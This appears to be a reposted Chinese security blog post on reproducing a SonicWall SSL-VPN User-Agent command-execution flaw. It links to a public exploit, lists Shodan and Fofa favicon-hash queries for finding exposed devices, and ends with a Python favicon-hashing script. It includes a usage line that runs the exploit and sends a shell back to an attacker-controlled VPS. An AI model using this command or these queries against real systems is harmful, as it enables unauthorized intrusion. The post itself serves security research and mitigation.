SonicWall SSL-VPN 历史版本中存在漏洞,远程攻击者利用 CGI 程序处理逻辑漏洞,构造恶意的User-Agent,可造成远程任意命令执行,并获得主机控制权限。
详细可参考 SonicWall SSL-VPNExploit:
https://darrenmartyn.ie/2021/01/24/visualdoor-sonicwall-ssl-vpn-exploit/
https://github.com/darrenmartyn/visualdoor
http.favicon.hash:-1153950306
http.favicon.hash:-2012355198
icon_hash="-1153950306"
icon_hash="-2012355198"
python2 visualdoor.py 目标URL VPS-IP Vps-Port
临时修补建议
检测或替换http header中可能存在的命令执行特征字符串
# -*- coding: UTF-8 -*-
import requests
requests.packages.urllib3.disable_warnings()
import mmh3
import hashlib
import sys
import os
import argparse
# hash image from url
def get_hash_url(url):
url = url.strip()
icon_hash_md5 = ''
icon_hash_mmh3 = ''
if url != '':
payload = ""
headers = {
#"Accept": "image/webp,image/apng,image/*,*/*;q=0.8",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Edg/87.0.664.66",
"Referer": "{}".format(url),
"Pragma": "no-cache",
"Accept-Encoding": "gzf, deflate",
"Cache-Control": "no-cache",
"Accept-Language": "zh-CN,zh;q=0.9"
}
try:
content = requests.request("GET", url, data=payload, headers=headers, verify=False , timeout=5).content
icon_hash_md5 = hashlib.md5(content).hexdigest()
icon_hash_mmh3 = mmh3.hash(content)
except Exception , e:
print(e)
return icon_hash_md5, icon_hash_mmh3
# hash image base64 from url
def get_hash_url_base64(url):
url = url.strip()
icon_hash_md5 = ''
icon_hash_mmh3 = ''
if url != '':
payload = ""
headers = {
#"Accept": "image/webp,image/apng,image/*,*/*;q=0.8",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Edg/87.0.664.66",
"Referer": "{}".format(url),
"Pragma": "no-cache",
"Accept-Encoding": "gzf, deflate",
"Cache-Control": "no-cache",
"Accept-Language": "zh-CN,zh;q=0.9"
}
try:
content = requests.request("GET", url, data=payload, headers=headers, verify=False , timeout=5).content
content = content.encode('base64')
icon_hash_md5 = hashlib.md5(content).hexdigest()
icon_hash_mmh3 = mmh3.hash(content)
except Exception , e:
print(e)
return icon_hash_md5, icon_hash_mmh3
# hash image from file
def get_hash_file(filename):
filename = filename.strip()
icon_hash_md5 = ''
icon_hash_mmh3 = ''
if not os.path.isfile(filename):
pass
else:
with open(filename,'rb') as fopen:
#md5_obj = hashlib.md5()
#md5_obj.update(fopen.read())
#icon_hash_md5 = md5_obj.hexdigest()
content = fopen.read()
icon_hash_md5 = hashlib.md5(content).hexdigest()
icon_hash_mmh3 = mmh3.hash(content)
return icon_hash_md5, icon_hash_mmh3
# hash image base64 from file
def get_hash_file_base64(filename):
filename = filename.strip()
icon_hash_md5 = ''
icon_hash_mmh3 = ''
if not os.path.isfile(filename):
pass
else:
with open(filename,'rb') as fopen:
content = fopen.read().encode('base64')
#print('content base64:n',content)
icon_hash_md5 = hashlib.md5(content).hexdigest()
icon_hash_mmh3 = mmh3.hash(content)
return icon_hash_md5, icon_hash_mmh3
# hash string
def get_hash_string(string):
icon_hash_md5 = ''
icon_hash_mmh3 = ''
content = string.strip()
icon_hash_md5 = hashlib.md5(content).hexdigest()
icon_hash_mmh3 = mmh3.hash(content)
return icon_hash_md5, icon_hash_mmh3
# hash string base64
def get_hash_string_base64(content):
icon_hash_md5 = ''
icon_hash_mmh3 = ''
content = string.strip().encode('base64')
icon_hash_md5 = hashlib.md5(content).hexdigest()
icon_hash_mmh3 = mmh3.hash(content)
return icon_hash_md5, icon_hash_mmh3
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.description="""The hash computation By md5 and mmh3"""
parser.add_argument("-u", "--url", help="Specify target url, like 'http://1.1.1.1/favicon.ico'")
parser.add_argument("-f", "--file", help="Specify target file, like 'spring-favicon.ico' ")
parser.add_argument("-s", "--string", help="Specify target string, like '123456'")
args = parser.parse_args()
#args.url ="http://112.25.106.108/favicon.ico"
#args.file ='spring-favicon.ico'
#args.string ="123456"
#print("url:", args.url)
#print("file:", args.file)
#print("string:", args.string)
if len(sys.argv)== 1 :
print('please input some args or use --help !!!')
exit()
if args.url :
print('---------------------------')
url = args.url
icon_hash_md5, icon_hash_mmh3 = get_hash_url(url)
print('get_hash_url:{}'.format(url))
print('icon_hash_md5:{}'.format(icon_hash_md5))
print('icon_hash_mmh3:{}'.format(icon_hash_mmh3))
#print('tFofa:ticon_hash="{}"'.format(icon_hash_mmh3))
#print('tshodan:thttp.favicon.hash:{}'.format(icon_hash_mmh3))
print('---------------------------')
icon_hash_md5, icon_hash_mmh3 =get_hash_url_base64(args.url)
print('get_hash_url_base64:{}'.format(args.url))
print('icon_hash_md5:{}'.format(icon_hash_md5))
print('icon_hash_mmh3:{}'.format(icon_hash_mmh3))
print('tFofa:ticon_hash="{}"'.format(icon_hash_mmh3))
print('tshodan:thttp.favicon.hash:{}'.format(icon_hash_mmh3))
print('---------------------------')
if args.file:
print('---------------------------')
filename = args.file
icon_hash_md5, icon_hash_mmh3 = get_hash_file(filename)
print('get_hash_file:{}'.format(filename))
print('icon_hash_md5:{}'.format(icon_hash_md5))
print('icon_hash_mmh3:{}'.format(icon_hash_mmh3))
#print('tFofa:ticon_hash="{}"'.format(icon_hash_mmh3))
#print('tshodan:thttp.favicon.hash:{}'.format(icon_hash_mmh3))
print('---------------------------')
icon_hash_md5, icon_hash_mmh3 = get_hash_file_base64(filename)
print('get_hash_file_base64:{}'.format(filename))
print('icon_hash_md5:{}'.format(icon_hash_md5))
print('icon_hash_mmh3:{}'.format(icon_hash_mmh3))
print('tFofa:ticon_hash="{}"'.format(icon_hash_mmh3))
print('tshodan:thttp.favicon.hash:{}'.format(icon_hash_mmh3))
print('---------------------------')
if args.string:
print('---------------------------')
string = args.string
icon_hash_md5, icon_hash_mmh3 = get_hash_string(string)
print('get_hash_file:{}'.format(string))
print('icon_hash_md5:{}'.format(icon_hash_md5))
print('icon_hash_mmh3:{}'.format(icon_hash_mmh3))
#print('tFofa:ticon_hash="{}"'.format(icon_hash_mmh3))
#print('tshodan:thttp.favicon.hash:{}'.format(icon_hash_mmh3))
print('---------------------------')
icon_hash_md5, icon_hash_mmh3 = get_hash_string_base64(string)
print('get_hash_file_base64:{}'.format(string))
print('icon_hash_md5:{}'.format(icon_hash_md5))
print('icon_hash_mmh3:{}'.format(icon_hash_mmh3))
#print('tFofa:ticon_hash="{}"'.format(icon_hash_mmh3))
#print('tshodan:thttp.favicon.hash:{}'.format(icon_hash_mmh3))
print('---------------------------')
END
本文始发于微信公众号(NOVASEC):SonicWall SSL-VPN RCE复现及iconhash脚本分享
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论